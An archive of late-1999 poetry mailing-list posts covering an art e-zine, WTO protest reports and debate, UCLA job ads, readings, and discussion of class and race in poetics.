http://home.earthlink.net/~sloynic/dearma.html

april 'flamed & spammed'

'so begin somewhere,' 'the next nite,' & 'my friend tom,' 3 sloy writings made using painting, an application for visual artists, pasted on a scrolling page (underlined text link at basement of the elevator); 'rollo: rollo: rollo: rollo: rollo,' nic's first computer generated moving piece of art, a rolling anthropomorph (hot spot inside); 'confessions of a seeker-recluse,' a page which invites the reader to write & e some words (click the underlined text to send); 'the oracle has spoken,' sloy's wallpapered writing with two hot spots. one way goes to 'GEE WOW,' before going to the destination of the other, 'mary magdalene, spoiled children, & satan in high heels,' 3 postcards by nic, with cut 'live' (continuous) lines & pulp
fiction covers; 'bizzo,' a moving sawblade. oh yes, friends; it's all so. flamed & spammed.
http://home.earthlink.net/~sloynic/sloywing.html

march 'beato, blobo, bumpo, catshit heaven'
a long blue stream of hopes to elevator down, a load-in. (hit refresh on your browser if images are too slow.) 'beato,' a nic live-line painted in appleworks; 'boho boys,' sloy's oil on blotter paper; 'blobo'; 'im gonna b livin in catshit heaven'; 'bumpo'; 'scrap iron'; 'nicsloy'; &'sloy,' nic's prismacolor portrait of sloy.
http://home.earthlink.net/~sloynic/babybeat3.html

february 'fauna, wingnuts, death'
'grabo'; 'hard 2b'; 'ncsloy'; '3wingnuts'; 'fauna'; 'mind if i join u' (errol flynn's words as he flung himself down the hatch onto the orgy below); & 'in memory of form,' black prismacolor on stonehenge paper, all on one long green slide.
http://home.earthlink.net/~sloynic/babybeat2.html

january 'a car, booze, hoohoohoo'
the bloody beginning. 'cardboard chair on continuous line,' cardboard sculpture on a cut/live line cardboard postcard; 'bamboozled,' oil paint writing on 50'x54' pulp paper; 'sloy painting a bottle,' prismacolor drawing of sloy painting on an empty macnaughton's whisky convenience flask; ' starry nite whidbey from camano,' nic's prismacolor of one island seen
from another (whidbey from camano); 'booze or pie?' a choice; '56 ford';& 'honeymoon,'
nic & sloy.
http://home.earthlink.net/~sloynic/babybeat1.html

about the issues & more 'the apposable thumb'
'editors' will give you a pic of sloynic. 'about the issues,' 16 pages of alice-down-the- rabbit-hole navigation elucidating everything. if you dare, click 'the sleeper' & GO! 'contributors' is (so far) a stream of 11 pages with links that take you everywhichway. webbeat'99's contributors (& links to) include:
nic http://home.earthlink.net/~sloynic/clicklist.html
jonny (the dagger) studer
http://home.earthlink.net/~sloynic/virtualdagger.html
izak http://home.earthlink.net/~sloynic/izak.html
sloy http://home.earthlink.net/~sloynic/sacknersloy.html
don edwards http://home.earthlink.net/~sloynic/donedwards.html
tom crawford http://home.earthlink.net/~sloynic/wallpaper.html
john mock http://www.users.uswest.net/~gkann/johnbio.html
max chavez http://www.users.uswest.net/~gkann/maxbio.html
rick dawson http://www.users.uswest.net/~gkann/rickbio.html
breon ossella http://www.users.uswest.net/~gkann/fernetta.html
jake sekafetz http://www.users.uswest.net/~gkann/jakethecatwithfish.html

> *'rebeat' is the long-lived & much exhibited, 4-issue tabloid by publishers' clyde zettle, rick dawson, & sloynic, an offspring of the beats & the mater/pater of ezine, webbeat'99. reviews.*
> *'e's to the eds' is a collection of the 6 responses webbeat'99 has received in its 11 months & 1,506 hits since june 1, when a counter was added to the beat hand. & they are WORTHY*
> *responses: ruby, flakey foont, rainwulf, jake the cat, dave moore (kerouac & beat scholar), & gara gillentine (unknown to the eds., but a more generous & sharing reader could not be hoped for).*
> *'collophon' the few things used to make these pages. fonts we wished you had.*
> *'the beat hand' belongs to nic. the ring is jenny zettle's, sloy's paternal grandmother's gone.*
> *bandages. true. newsprint background: rebeat. as in beat again.*
>
> *sloynic*
> *dec1 11:30 PM '99*
>
> *'webbeat'99'*
> *http://home.earthlink.net/~sloynic*

↑ Index

48. Susan Minyard

Re: webcast: Silliman Osman Perelman Stefans

Fri 3 Dec 1999

In a message dated 12/2/99 8:28:49 PM US Mountain Standard Time, [redacted] writes:

<< [redacted] >>

Yes, I would like to participate in this webcast.
I am in Arizona. Would it be possible to use
a computer at the University rather than one
in my home. Do I need an email address to sign on?

Thanks.

Susan Minyard

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49. Mark Prejsnar

the lost retrograde

Fri 3 Dec 1999

The desultory thread on Lehman's book is interesting, full of mild and slightly positive sentiment.

The dynamix of the list are perhaps somewhat illustrated by this; including the rapid turnover of regulars; ...When the book first came out, if memory serves, there was rather a lot of more engaged and heated discussion... Much of it pretty negative indeed. Among other fascinating aspects of the 'net, and this list, (all lists) is the quick and almost automatic "loss of memory" ..

Oh, and of course: the group which has just edited the new issue of Mirage #4 is the APG, not the AWG...

↑ Index

50. Poetry Project
police riot in Seattle
Fri 3 Dec 1999

Thank you very much David, for your post about the situation in Seattle. For those of us mostly dependent upon mass-media outlets, it's been difficult to get a true sense of the situation and I much appreciate your information.

However, if you'll allow me, I do take some issue with this, from your post:

"The point is to spend no money in Seattle. Yes, this will bring hardship to innocent merchants and employees, but Seattle authorities escalated these proceedings into a war, and in a war, innocent people do get hurt. There is no other way to bring pressure upon authorities to restrain their police."

While I'm certainly no expert on how to restrain police, I'm rather a devotee of the idea that the ends does not justify the means--that the means rather is how one defines oneself and redefines modus operandi for others. Thus I'm quite hesitant to do anything where "innocent people get hurt" no matter what the "justification." One of the major points of the protests was to demonstrate against bad working conditions. If you boycott a "good" business with "good" labor practices, you're, well, cutting off your nose...etc. subverting your own intentions and dishonoring those who were in the line of fire in the first place. What if one of those with a "grapefruit" sized welt is actually the owner of a some bookstore, or eco-company, or even a gas station with decent pay for its employees, and, after protesting, this person returns to her/his business only to find that those who supported her/him, are now destroying their livelihood?

I'd suggest instead targetting your boycott against those companies who support the WTO, write letters to the Mayor & media outlets, network with fellow protesters in Seattle to let them know we support them, and most important, keep the real news circulating. I know it's not as dramatic and immediate a solution, but it sure makes "us" different from "them."

All best wishes,
Marcella Durand

↑ Index

51. Patrick Herron
Re: WTO
Fri 3 Dec 1999

David Bromige wrote -

>Cities will have to live with the fact that the USA allows peaceful assembly of dissidents.

Unfortunately, David, to be quite frank, Amerika DOES NOT allow peaceful assembly that much any more. The legal protections for peaceful protesters have been disappearing for a long time.

Amerika is a police state. Your only protection in Amerika is money, connections.

Land of the free, home of the brave
is really
land of the fee, home of the knave.

And then, lest we forget, there's always agent provocateur activities within many political movements in the US, people paid to make the peaceful look violent.

This was a wonderful note, David. I am very glad you shared it with everyone. What you are saying in your note is indeed what is going on. I have a good friend who is at Capitol Hill in the middle of it and I am worried about him.

Under a state of emergency, the city of Seattle made it illegal to use a gaskmask, and the penalty is 180 days in jail and/or a large fine.

Patrick

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

52. Catherine Daly
[Fwd: 2 jobs at ucla design/media arts]
Fri 3 Dec 1999

[redacted] wrote:

> *#1*
>
> *ASSISTANT/ASSOCIATE/FULL PROFESSOR*

OF DESIGN | MEDIA ARTS

The UCLA Department of Design (www.design.ucla.edu), which is currently in the process of changing its name to the UCLA Department of Design | Media Arts, is seeking a qualified individual with experience in one or more of the following areas: interface design between virtual and physical worlds; innovative type design, 3D modeling and animation; and creative programming for Web-based, interactive and/or virtual environments.

The successful candidate will be expected to teach studio and lecture courses at both undergraduate and graduate levels, contribute to the department's vision, and to undertake independent research and creative activity appropriate for advancement within the University of California.

Qualifications: Distinction as a professional artist in the area of Design and Media Arts. Advanced degree and teaching experience in a university setting are preferred. Administrative experience in an academic or professional setting is also desirable. Level of appointment and salary will be determined by the candidate's qualifications and professional experience.

Applications should include a letter stating your artistic and educational philosophy and approach to teaching, accompanied by a complete resume or curriculum vitae and the names, phone numbers, mail and e-mail addresses of three references qualified to provide knowledgeable evaluation of your qualifications. Please do not send additional supporting materials until they are requested. Application deadline: February 1, 2000, or until filled.

Address letters of application to: Professor Victoria Vesna, Chair, Search Committee, Department of Design, 1300 Dickson Art Center, Los Angeles, CA

90095-1608.

The University of California, Los Angeles is an Equal Opportunity/Affirmative Action Employer. Proof of U.S. citizenship or eligibility for U.S. employment will be required prior to employment (Immigration Reform and Control Act of 1986).

....

#2

ASSISTANT/ASSOCIATE/FULL PROFESSOR

OF DESIGN | MEDIA THEORY

The UCLA Department of Design (www.design.ucla.edu), which is currently in the process of changing its name to the UCLA Department of Design | Media Arts, is seeking a qualified theorist who has an extensive publication record and at least one major work dealing with issues of design/media arts. Curatorial and some practical experience in digital media is preferred.

The successful candidate will be expected to teach studio and lecture courses at both undergraduate and graduate levels and to undertake independent research and publication appropriate for advancement within the University of California.

Qualifications: Distinction as a theorist in the area of Design and Media Arts. Ph.D. degree and teaching experience in a university setting are preferred. Administrative experience in an academic or professional setting is also desirable. Level of appointment and salary will be determined by the candidate's qualifications and professional experience.

Applications should include a letter stating your artistic and educational

> *philosophy and approach to teaching, accompanied by a complete resume or curriculum vitae and the names, phone numbers, mail and e-mail addresses of three references qualified to provide knowledgeable evaluation of your qualifications. Please do not send additional supporting materials until they are requested. Application deadline: February 1, 2000, or until filled.*
>
> *Address letters of application to: Professor Victoria Vesna, Chair, Search Committee, Design and Media Theory, Department of Design, 1300 Dickson Art Center, Los Angeles, CA 90095-1608.*
>
> *The University of California, Los Angeles is an Equal Opportunity/Affirmative Action Employer. Proof of U.S. citizenship or eligibility for U.S. employment will be required prior to employment (Immigration Reform and Control Act of 1986).*

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53. Louis Cabri

lisa robertson

Fri 3 Dec 1999

Does anyone have an updated email address for Lisa Robertson?

Can someone help me with this?

Is there one of you out there who would go to the trouble of looking up Lisa Robertson's email address for me, one that is current?

Can I possibly ask someone to look up an email address for me?

Could it be you that I am searching for, one of you who holds the address to Lisa Robertson's email home?

Is it now, here, in this place, that I will find the email address of one of you, who is, nonetheless, not a subscriber?

Might it be soon that someone will preoccupy their own thoughts with this request?

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54. Poetry Project
readings next week
Fri 3 Dec 1999

Monday, December 6th at 8 pm (sign-up at 7:30)

The last open mike of 1999--at the Poetry Project anyhow. We've been getting excited calls about this one all month, so come join in the (predicted) chaos!

Wednesday, December 8th at 8 pm

David Henderson & David Cameron

David Henderson is the author of Neo-California, published this year by North Atlantic Books, and of Skuse Me While I Kiss the Sky: The Life of Jimi Hendrix. Henderson has done many collaborations with jazz musicians such as Ornette Coleman, Sun Ra, Burt Turetsky, and Butch Morris, and he is currently at work on a CD which collects many of these performances. David Cameron is the author of two collections of false translations of Charles Baudelaire's Les Fleurs du Mal--Flurries of Mail and Dirty Mom. He's also been working on a sequence of variations on the Lord's Prayer, titled L.P.

Friday, December 10th at 10:30 pm

Night of Taboos Part I: Private Parts, Therapists & Eating Disorders with readings and performances by Elena Georgiou, Jaclyn Piudik, Kathleen Ossip, Anne Elliot, Daniel Nester, & Shira Dentz.

***

Admission to regular Poetry Project events is $7, $4 for students/seniors. No advance tickets. Admission is at the door. The Poetry Project is wheelchair-accessible with assistance and advance notice. Please call [redacted] for more information. The Poetry Project is located in St. Mark's Church at the corner of 2nd Ave. & 10th St. in Manhattan.

***

If you wish to be removed from this list, respond to this message with "please remove me" in the subject line & we will certainly do so...

***

A small excerpt from Brendan Lorber's _The Address Book_, "131 E 10th" [our address, yes]:

"& dressing a poem in addresses sets a mood like tables with the spooning couples in place of silverware but who will know my grandparents in 1950 at 1261 Madison Ave & I at their age an hour ago 100 St Marks Place How's my pace? There's no such thing as a late bloomer or being well-travelled I lost all sense

of virginity in 823 Butterfield C Middletown CT My mind went all together at 58 Cumberland San Francisco & at the corner of 1st & 1st I found God & lost my Metrocard which is why I'm late to your gig"

Until next week...

***

↑ Index

55. Patrick Herron
More on WTO
Fri 3 Dec 1999

Date: Thu, 2 Dec 1999 23:54:31 EST
From: [redacted]

COLLATERAL DAMAGE IN SEATTLE
by Portland student/reporter Jim Desyllas

Called-in from a pay phone outside Seattle. Wed., 7:30 pm Pacific time.

(Posted at www.emperors-clothes.com 12-2-99. Feel free to distribute in
full including this note.)

I just spent 4 days in Seattle. The "information" people are getting from the mass media is false. This was not, as Pres. Clinton claims, a peaceful protest marred by the actions of violent protesters. This was a massive, strong but peaceful demonstration which was attacked repeatedly by the police with the express purpose of provoking a violent response to provide photo opportunities for the Western media. I know because I watched it happening. I'll tell you how they did it.

As Michel Chossudovsky says in his "Disarming the New World Order" (See Note # 1 at end for link to that article) - the government put a lot of effort into making sure the protesters in Seattle were a "loyal opposition" who wanted to reform the WTO, not get rid of it. But the people in Seattle - American steel workers, Canadian postal workers, college kids from all over, environmentalists from Australia - you name it - were not for reforming the WTO. They were for getting rid of it.

And this wasn't just true of the protesters. I interviewed delegates. None of them had anything favorable to say about the WTO. Two delegates from the Caribbean were angry about job loss. One delegate from Peru took a bullhorn and got up on a car and spoke to the protestors against the World Trade Organization. He said it hurts the workers and farmers. I interviewed a Norwegian guy from Greenpeace. Totally against it. Even a delegate from Holland said it

had hurt the farmers there. He said though it is supposedly democratic, that's actually a lie: the US, England and Canada and a few others get together and decide what they want to do. Then they ask the rest of the countries to vote and if they vote wrong they threaten,"You won't get loans," or whatever. They get them to do what they want by blackmailing them. The Italians we interviewed were upset too. I couldn't find any delegates who were in favor.

So the government instigated a "riot" to discredit the movement against the WTO because they couldn't dilute it. I am not guessing about this. I was there. I saw it happening. And I will tell you I am frankly shocked to see, close up, just how little our leaders care what happens to ordinary people. Clinton can pose and speak a lot of flowery stuff but the truth is - we are nothing to them. I saw this with my own eyes.

Sunday and Monday, there was no violence. None. The people were aggressively non-violent; they were self-policing. Up until Tuesday at 4pm there was one window broken in the whole city - a McDonalds window. This compares favorably to the typical rock concert, let alone a demonstration of people who were non-violently barring entry to the World Trade Center!

At this point, a new group of police - tactical police - moved in and started gassing people and shooting rubber bullets. Is it any surprise that people got mad? Of course, the young kids hit back by breaking some windows in retaliation for being gassed, sprayed with very painful pepper gas, and shot with dangerous "rubber" bullets. The police instigated these kids, plain and simple.

Sunday and Monday they had young cops, using them to block the streets. These were trainees. But Tuesday they had the real cops; none of them were young. They were trained to attack people. A small group, maybe 100 people

total,
struck back. Then these cops herded that group around the city, making sure
there were plenty of photo ops of "violent protesters."

A number of times they had these 100 or so protesters caught between buildings and walls of police. They could easily have arrested and detained this small number of people and gotten it over with. Instead they would gas them and let them go. Then trap them again, gas them again, and again let them go. The cops made no arrests that I know of until late Tuesday night though the skirmishing was going on from three till 9:30. The cops would blockade three or five blocks of an area, give the angry kids room to operate, keep gassing them - when you gas a person, let me tell you, it gets them fighting mad.

Tuesday night the police gassed all of downtown. This was going on from 3 PM,
till 6 PM.. Gas everywhere. The kids broke a few windows - McD's, Starbucks -
small stuff - burned a few garbage cans. The police were using these people
as extras. It was staged. I believe also the police had their own people in
there, encouraging people to break stuff - if people think I may be
exaggerating, I saw supposed protesters - they were screaming and so on - and
then later, when everything was over, the same people tackled other
protestors and put handcuffs on them.

At 6pm they issued a State of Emergency. At that point they had pushed the
100 people outside the city limits, so the police went outside the limits
too, and they started gassing that area too, gassing the neighborhoods where
the regular people live. I am not exaggerating. The police were relentless.

This was in an area from the city limits for about 10 blocks to the Seattle
Central Community College. If you were alive, the police gassed you. People
coming back from work, kids, women, everyone. People would go out of their
houses to see what was happening because these tear gas guns sound like

a
cannon - and they would get gassed. A block away there was a Texaco gas station - they threw tear gas at gas pumps, believe it or not - they were
like vandals. They gassed a bus. I saw it with my own eyes. A bus. The driver, the riders, the people just abandoned it .

I was sitting in a little coffee shop called Rauhaus, [Jim did not spell this
- the spelling may be wrong.] They were shooting "rubber" bullets at the glass. I picked up a dozen of the things in a few square feet. They were also
shooting this paint that you can only see with a florescent light. They would
paint anyone and everyone and then go hunting them.

Anyway, because they were gassing everybody, the local people got mad too and
they joined the 100 who had been herded out of the city. So soon there were
500 including the neighborhood people and all very angry. Naturally. Because
they had been gassed and hit with pepper spray, that stuff does a number on
you. And shot with these damn bullets. Then people set up barricades at Seattle Central Community College. The cops organized themselves for about an
hour and then moved in and gassed that area.

Today they started mass arrests. That was because Clinton - the Greeks call
him the Planitarchis, Ruler of the World - was coming. Weeping crocodile tears about how he just LOVES peaceful protest, which of course you'd have to
be two years old to believe he had nothing to do with the police action. This
whole thing, this police attack, this was US foreign policy, not some action
decided by some bureaucrat in Seattle. This was the State Department. They
wanted to discredit the people.

When things started on Sunday, there was a protest rally of solidarity involving people from different walks of life. Monday it got even

bigger.
Tuesday there was a big sort of carnival where people were doing different
things, a band was playing music and people were blocking the World Trade
Center. And about 3 PM the cops started throwing tear gas.

The thing that drove Clinton crazy was that on Tuesday the protesters had
succeeded in making nonviolent human chains and had therefore stopped
everyone from going into the World Trade Center. Only maybe 27 delegates got
through, mostly US and British. There were what seemed like tens of thousands
of protesters involved. So the police did their gassing number against these
nonviolent people to break up the human chains and make the protesters look
violent.

Today (Wednesday) I followed the union protest put together by the Longshore-
men's Union. They went down to the docks and had a rally then marched to
Third Avenue. As soon as they got there the cops started gassing them. There
was an old lady there. She had gone downtown by bus to buy something. This
lady was in her 70's and I saw her trying to run, but she couldn't breathe. She
was in shock. I carried her to a building entryway. She was gasping, terrified.
She had been in Germany, and it was like she was having flashbacks. The tear
gas sounds like gunfire and there were helicopters overhead, sirens, cops on
horses, everything.

They had clearly made a decision to destroy this movement.

So anyway there I was with her in this building and she wanted to go to the
hospital but there was tear gas everywhere and I was afraid if I tried to
move her she'd be gassed again. I went to this line of cops and begged - I
mean begged - these riot police to help her. They ignored me. A girl told me
later that a one year old had been gassed. And I myself saw a girl no more
than 18 - a cop had busted her lip wide open - she was bleeding - and then

they gassed everyone including her. After that she was kneeling on the ground
crying like a baby and praying for 15 minutes, Hail Mary, Hail Mary. Over and
over. She was in a state of shock. They just gassed these people who were
sitting down non-violently and doing nothing. Nothing.

At one point the Seattle Mayor said his boys were not using rubber bullets. Miraculously, by then I had ten in my pocket. I could open a little market, sell the things. They are everywhere. I and other people started giving them to delegates and stuff. "See what they're doing? They're shooting "rubber" bullets and lying about it." We showed them to the media. I guess enough people and the media got the information because the Mayor made a new statement then that they were using them. As if he hadn't known.

They shot rubber bullets from four feet away into the face of a guy next to
me, broke all his front teeth. When that happened I lost it. I forgot I was
supposed to be getting the news for all of you and I started yelling at the
cops, "What the hell is wrong with you? Are you sick, man?" So this cop aimed
his gun right at me. That was his answer. So I first put my hands in front of
my face because I didn't want to lose my teeth. And then I thought, to hell
with it. I was wearing my target shirt that said "Collateral Damage", you
know? With a bullseye target, like they wore during the bombing in
Yugoslavia. And I told this guy, "Go ahead, shoot! Here! Here's the target!"
He didn't shoot me.

I want to emphasize, these protesters were NOT violent people. They were the
most non-violent people I have ever seen. Even when I was screaming at the
cop, this girl came up to me and said, "Do not scream. This is non-violent."
These people were too much to believe. They must meditate all the time, I
don't know.

Clinton said he supports nonviolent protest. That is baloney. Today (Wed.)
the protesters were causing absolutely no "trouble". In downtown the cops had
people running who weren't even protesters - like that old lady or just
people going to work or shopping - everyone was getting gassed. The busses
weren't running because of the gas. I was lucky to catch one with a driver
who could still see. I begged him to drive the old lady home - the driver
changed his route especially for her. If you want to find human decency, stay
away from the Planitarchis. Go to the to regular people. They have some. The
Planitarchis lost all his years ago. Now he wouldn't know human decency if it
came up and bit him.

So now I have made personal acquaintance with the people who run this country, and they are quite simply scum. There were people at work, people with babies, they were all getting gassed because the government would not allow an assembly of people speaking their minds. It is the same as what happened in Athens. Clinton's requirements on the Greek government created the riot and he did the same thing here. And then he says he supports nonviolent protest? How? By shooting rubber bullets? And today they outlawed gas masks. They want to make sure everyone gets his money's worth.

Today, just like yesterday night, the police were in the residential
neighborhoods. People in cafés were getting gassed and shot at, you could
hear it on the windows, bang, bang, bang. A guy trying to cross the street to
go to his house got gassed. First a drunk guy outside a bar yelled at the
cops "Get out of here!" so they gassed him. And then this other guys was just
crossing the street to go home so the cops figured, might as well gas him
too. People got gassed for coming out of restaruants and bars and coffeee
shops. I'm amazed that nobody died who had asthma or something.

Or maybe somebody did die and they didn't talk about it. I mean after all,
it's just collateral damage..

***

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

56. Todd Baron /*/ ReMap Readers

Re: "Mirage #4/Period[ical]" #89, Atlanta issue

Fri 3 Dec 1999

---

something wrong with my computer kevin.
but I'd love a copy. sorry to post this.

I can't seem to e mail you direct either.

Todd BaronKevin Killian wrote:
>
> Hi, it's Kevin Killian. Dodie Bellamy and I have turned over the new
> issue of our zine "Mirage #4/Period[ical]" to the Atlanta Writers
> Group

↑ Index

57. R. Drake

Re: Humble seed

Fri 3 Dec 1999

---

why would one want to make a Book out of Online work? would that "validate" it somehow? or make it a more marketable Commodity?

and why would one want to arbitrate for others what is "The Best" (and, by exclusion, The Rest, all the Other...)? or why would one give another the power to arbiter that work for them?

[the tone of my speaking voice, asking these questions, is not intended to be as "hostile" as the written version might seem... since i suspect steve tills suggestion is aimed to promote online works, and i share that as a goal...]

luigi
burning press
http://www.burningpress.org/va/vaintro.html

> *So what would it look like, _The Best American Poetry Online_, culled from 75 experimental hypertext mags, if say three-four-five hundred experimental poets each pitched in 20 small bucks for their own two*

> *copies a piece and maybe another 20 little dollars to get a coupla copies into every Bans and Ignoble and Aborters big comfortable public libraries/stores in the country? Some cunning <buyers group brokering> with Amazon.com and the publishers and others could also help...*

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58. Daniel Kane
e-mail query
Fri 3 Dec 1999

---

anyone have an e-mail address for Rachel Blau DuPlessis? If so, please backchannel to [redacted]. thanks.

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59. Nielsen, Aldon
Re: Class & Poet[ry/ics]
Fri 3 Dec 1999

At 10:50 AM 12/1/99 -0600, you wrote:
>At 8:08 PM -0500 11/30/99, Simon DeDeo wrote:
>
>...When was the last time Byron was attacked for
>>being from the lesire/upper/aristocratic class? Much, much longer ago than
>>he was for being white.

The grammar of Simon's first post would not have suggested the intention clarified in his more recent -- BUT -- still seems a peculiar shade of red herring to me -- I am not now nor have a ever been a "Byronist," but I have not seen any citations ever of critial work "attacking" Byron for being white, nor have I seen any citations of any critical work looking at his "whiteness." Does anybody out there know of such an article, which I'd like to see -- There ARE books and articles that offer analyses of race in Romanticism, which may inclue Byron --

Not only do the North American "whiteness studies" bunch not concern themselves with Byron, they tend not to address poetry at all

Race has often been blinded by class -- and there have been attempts to trump race with class (such as William J. Wilson's works) -- The class argument in discussions of Affirmative Action takes a truly odd turn -- People criticize Affirmative Action for getting upper-middle-class people into certain universities as if (1) they really DID want to see large numbers of poorer people at Yale and (2) as if Affirmative Action had been designed as an economic class remedy, which it surely was not --

While I would in fact like to see economically disadvantaged candidates given a better shot at the best education, I've never understood the logic that claims it is immoral to consider race as an affirmative action remedy in college admissions (as opposed to, say, the action that got George W. through the Ivy League) while it would be moral to admit a candidate from a lower-income family over a candidate from an upper-inome family whose record was otherwise comparable --

Class certainly plays a major role in the current establishment of creative writing in the academy, as any of the people teaching in Cal State's programs might tell you after a visit to a U.C. program -- a role just as prominent as race -

When minority applicants are turned down for home loans that white applicants with otherwise comparable records receive, it's an action based in race that has the effect of rigidifying class structures at the same time --

I think what many of us would like to see is a critique that is simultaneously attuned to race and class in its readings and analyses (and writings!), rather than a critique that pretends to be able to extricate one from the other --

any volunteers?

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60. Katie Degentesh
Re: CLASS
Fri 3 Dec 1999

Is this the CLASS LIST or the POETICS LIST? I'm mainly a lurker, but I've been reading, or at least skimming, everyone's posts for months and it seems to me that ALL ANYONE EVER TALKS ABOUT IS CLASS.

OK, I'm exaggerating, but seriously: Are you people writers or civil rights activists? Is discussion of a poem's actual structure or technique or craft to be disdained courtesy of the old PC argument that only people who are wealthy enough to have a certain amount of time on their hands can afford to pay attention to poetry? Obviously we ALL have at least that much time on our hands -- so why does the discussion always turn to how people's (class/race/gender/blah blah blah) informs their work? The ways in which a writer's life informs her/his work are, I agree, useful or interesting in a discussion of said work, and (class/race/gender/blah blah blah) is certainly part of every writer's life, but it seems to me that many of you are focusing on that part to the exclusion of other interesting things. It might be good for you to get off your collective classes once in a while.

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61. Brian Lennon
Jameson's Perelman
Fri 3 Dec 1999

A few months back I requested help tracking down cites for counter-commentary on Jameson's discussion of Perelman. Thanks to all who responded. ---BL

Jameson, Frederic. Postmodernism, or, The Cultural Logic of Late Capitalism. Durham: Duke University Press, 1991.

Armantrout, Rae. "Irony and Postmodern Poetry." Moving Borders: Three Decades of Innovative Writing by Women. Ed. by Mary Margaret Sloan. Jersey City: Talisman House, 1998: 674-679. Golding, Alan. From Outlaw to Classic: Canons in American Poetry. Wisconsin, 1995. Hartley, George. "Jameson's Perelman: Reification and the Material Signifier." Textual Politics and the Language Poets. Bloomington and Indianapolis: Indiana UP, 1989: 42-52. Perelman, Bob. "Parataxis and Narrative: The New Sentence in Theory and Practice." The Marginalization of Poetry: Language Writing and Literary History. Princeton: Princeton UP, 1996: 59-78. von Hallberg, Robert. "Poetry, Politics, and Intellectuals." The Cambridge History of American Literature, Volume 8: Poetry and Criticism. Ed. by Sacvan Bercovitch. Cambridge: Cambridge UP, 1996. 9-260.

see also
Silliman, Ron. The New Sentence. New York: Roof, 1985.

Useful critiques and periodizations of Jameson's postmodernism: Best, Steven. "Jameson, Totality, and the Poststructuralist Critique." Postmodernism/Jameson/Critique. Washington, D.C.: Maisonneuve Press, 1989. 333-368 Featherstone, Mike. "Postmodernism, Cultural Change, and Social Practice." Postmodernism/Jameson/Critique. Washington, D.C.: Maisonneuve Press, 1989. 117-138. Helming, Steven. "Jameson's Postmodernism: Version 2.0." Postmodern Culture 9.2 http://muse.jhu.edu/journals/postmodern_culture/v009/9.2.r_helmling.html -----. "Marxist Pleasure: Jameson and Eagleton." Postmodern Culture 6.1. http://muse.jhu.edu/journals/postmodern_culture/v006/6.1consenstein.html Kellner, Douglas. "Introduction: Jameson, Marxism, and Postmodernism." Postmodernism/Jameson/Critique. Washington, D.C.: Maisonneuve Press, 1989. 2-37. Shumway, David R. "Jameson / Hermeneutics / Postmodernism." Postmodernism/Jameson/Critique. Washington, D.C.: Maisonneuve Press, 1989. 172-202.

[redacted]
http://www.columbia.edu/~bml18

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62. Elizabeth Treadwell

Double Lucy & Outlet updates

Fri 3 Dec 1999

---

(1) now in its second printing:

Outlet (4/5) Weathermap

92 pp double issue

featuring

- New Poetry and Prose by:

Norma Cole
Sarah Anne Cox
Noah de Lissovoy
Patrick F. Durgin
Taj Jackson
Jeffrey Jullich
Pamela Lu
Michael Magee
Sarah Mangold
Chris McCreary
Gwyn McVay
Michelle Murphy
Susan Smith Nash
Stephen Ratcliffe
Christopher Reiner
Camille Roy
Kathy Lou Schultz
E. Cameron Scott
Heather Sweeney
John Tranter
Elizabeth Treadwell
Liz Waldner

+ Reportage:

An Interview: Kathleen Fraser's "Provisional Answers to Some Questions" by Sarah Anne Cox

A History: "Publishing a Community: Women Publishers at the Poetry Project" by Marcella Durand

& Reviews:

Jacques Debrot on Laynie Browne's _The Agency of Wind_,
Linda Russo on Susan Gevirtz's _Black Box Cutaway_,
Charles Alexander on Jessica Grim's _Fray_.

$5 -- cheap! -- checks to E. Treadwell --

Excerpts from this & previous issues are featured at our website

---

(2):

Outlet will be going annual this coming year. We are reading for Outlet (6) Stars beginning New Year's Day. Details are at:
http://users.lanminds.com/dblelucy/page5.html

---

(3): barring y2k, our cyber-anthology, LUCY HOUSE: AN ANTHOLOGY OF PROSE will be up at our site sometime in January, featuring work by David Buuck, Cydney Chadwick, Brenda Coultas, John Frederick, Johanna Isaacson, Susan M. Schultz, & Liz Waldner, with more to come throughout the Spring.

Happy holy days!

Elizabeth

_____

Elizabeth Treadwell, Editor
Double Lucy Books & Outlet Magazine
P.O. Box 9013
Berkeley, CA 94709
USA
http://users.lanminds.com/dblelucy

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63. Joe Amato
about class...
Fri 3 Dec 1999

---

just became aware of an electronic list devoted to class issues, "working-class-list"... to sub, send the following message

subscribe
to
[redacted]

i'm not subbed at the moment, but my partner (kass) is, and she's forwarding me the posts... judging by the (somewhat heated) discussion there in the past

few days, i think all of us here who are interested in class issues might wanna have a look...

best,

joe

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64. komninos zervos
Re: Humble seed
Fri 3 Dec 1999

---

thoght this was an international list?
komninos of oz
At 08:48 PM 12/2/99 -0800, you wrote:
>So what would it look like, _The Best American Poetry Online_, culled
>from 75 experimental hypertext mags, if say three-four-five hundred
>experimental poets each pitched in 20 small bucks for their own two
>copies a piece and maybe another 20 little dollars to get a coupla
>copies into every Bans and Ignoble and Aborters big comfortable public
>libraries/stores in the country? Some cunning <buyers group brokering>
>with Amazon.com and the publishers and others could also help...
>
>
komninos cyberpoetry site http://student.uq.edu.au/~s271502
komninos zervos lecturer in cyberStudies griffith university gold coast
australia [redacted]

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65. david bromige
language and context
Fri 3 Dec 1999

> *The other sentence that bothers me is the casual "in a war, innocent people do get hurt".... I know David was using it in reference to "financial hurt".. but it's a slippery slope to start down.*

Well, now we can bring this back to poetics. Tom is correct to contextualize my sentence--not at all "casual"---but it is odd that he then worries that I will forget context and start down some metaphorical slippery slope.... It's as if I was trying to rid myself of a fly and you, Tom, passing the window, heard me cry "Kill it!" and ran to phone the cops...Keep on jammin', bro. David

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66. **Richard Dillon**

Re: WTO : reports of the police riot in Seattle

Sat 4 Dec 1999

THEORY:

Those POLICE were not Seattle's. Such operatives were guarding the Bilders-burger Group meeting in Atlanta at which a presumptive friend of many on this list -Hillary Rodham Clinton- spoke in 1997.

Know the enemy. Ask yourselves one question: Is Justice Bork a member of the team that fielded those Black Ops?

Think harder.

>From: david bromige <[redacted]>
>To: [redacted]
>Subject: WTO : reports of the police riot in Seattle
>Date: Thu, Dec 2, 1999, 7:22 PM
>

> *Listmates : this ain't poetry nor poetics, but it has a foot in kultur-kritik. I know how hard it can be to get any news that hasnt been masticated then turned into daily rejectamenta by the corpsemedia---our local paper, an organ of the NYT, airbrushed yesterday's reign of terror by police forces, and had a fatuous editorial turning the violence of a dozen anarchists and a handful of thugs (agents provocateurs?) into 5,000 peaceful protestors going ape. And so now we dont need to pay further attention to any critcism of the WTO, because if we did criticize it, we'd be nut-cases (as the Estonian delegate said).*
>
